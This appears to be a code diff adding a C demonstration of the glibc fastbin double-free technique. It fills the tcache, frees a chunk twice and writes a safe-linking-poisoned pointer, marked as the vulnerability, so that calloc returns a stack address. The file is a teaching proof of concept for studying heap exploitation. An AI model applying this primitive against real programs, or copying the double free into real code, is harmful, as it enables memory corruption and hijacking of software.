|
| 1 | +#include <stdio.h> |
| 2 | +#include <stdlib.h> |
| 3 | +#include <assert.h> |
| 4 | + |
| 5 | +int main() |
| 6 | +{ |
| 7 | + fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" |
| 8 | + "returning a pointer to a controlled location (in this case, the stack).\n"); |
| 9 | + |
| 10 | + |
| 11 | + fprintf(stderr,"Fill up tcache first.\n"); |
| 12 | + |
| 13 | + void *ptrs[7]; |
| 14 | + |
| 15 | + for (int i=0; i<7; i++) { |
| 16 | + ptrs[i] = malloc(8); |
| 17 | + } |
| 18 | + for (int i=0; i<7; i++) { |
| 19 | + free(ptrs[i]); |
| 20 | + } |
| 21 | + |
| 22 | + |
| 23 | + unsigned long stack_var[4] __attribute__ ((aligned (0x10))); |
| 24 | + |
| 25 | + fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); |
| 26 | + |
| 27 | + fprintf(stderr, "Allocating 3 buffers.\n"); |
| 28 | + int *a = calloc(1,8); |
| 29 | + int *b = calloc(1,8); |
| 30 | + int *c = calloc(1,8); |
| 31 | + |
| 32 | + fprintf(stderr, "1st calloc(1,8): %p\n", a); |
| 33 | + fprintf(stderr, "2nd calloc(1,8): %p\n", b); |
| 34 | + fprintf(stderr, "3rd calloc(1,8): %p\n", c); |
| 35 | + |
| 36 | + fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin |
| 37 | + free(a); |
| 38 | + |
| 39 | + fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); |
| 40 | + |
| 41 | + fprintf(stderr, "So, instead, we'll free %p.\n", b); |
| 42 | + free(b); |
| 43 | + |
| 44 | + //Calling free(a) twice renders the program vulnerable to Double Free |
| 45 | + |
| 46 | + fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); |
| 47 | + free(a); |
| 48 | + |
| 49 | + fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " |
| 50 | + "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); |
| 51 | + unsigned long *d = calloc(1,8); |
| 52 | + |
| 53 | + fprintf(stderr, "1st calloc(1,8): %p\n", d); |
| 54 | + fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); |
| 55 | + fprintf(stderr, "Now the free list has [ %p ].\n", a); |
| 56 | + fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" |
| 57 | + "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" |
| 58 | + "so that calloc will think there is a free chunk there and agree to\n" |
| 59 | + "return a pointer to it.\n", a); |
| 60 | + stack_var[1] = 0x20; |
| 61 | + |
| 62 | + fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); |
| 63 | + fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); |
| 64 | + fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); |
| 65 | + unsigned long ptr = (unsigned long)stack_var; |
| 66 | + unsigned long addr = (unsigned long) d; |
| 67 | + /*VULNERABILITY*/ |
| 68 | + *d = (addr >> 12) ^ ptr; |
| 69 | + /*VULNERABILITY*/ |
| 70 | + |
| 71 | + fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); |
| 72 | + |
| 73 | + void *p = calloc(1,8); |
| 74 | + |
| 75 | + fprintf(stderr, "4th calloc(1,8): %p\n", p); |
| 76 | + assert((unsigned long)p == (unsigned long)stack_var + 0x10); |
| 77 | +} |
0 commit comments